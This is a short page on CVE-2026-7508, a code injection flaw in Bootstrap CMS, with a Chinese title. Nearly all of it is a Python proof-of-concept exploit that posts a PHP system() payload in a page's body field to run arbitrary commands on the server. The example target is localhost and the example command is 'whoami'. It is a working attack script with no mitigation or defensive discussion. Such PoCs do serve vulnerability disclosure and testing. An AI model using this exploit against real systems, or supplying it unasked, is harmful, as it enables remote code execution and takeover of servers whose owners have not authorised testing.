CVE-2026-7508 Bootstrap CMS代码注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-7508: Bootstrap CMS Code Injection import requests def exploit(target_url, attacker_cmd): """ Exploit the code injection vulnerability by sending a malicious payload in the 'body' parameter of the page creation request. """ # The payload injects PHP code to execute a system command payload = f"<?php system('{attacker_cmd}'); ?>" data = { "title": "Injected Page", "body": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Check the created page or response for the output of: {attacker_cmd}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost/bootstrap-cms/public/pages/create" cmd = "whoami" exploit(target, cmd)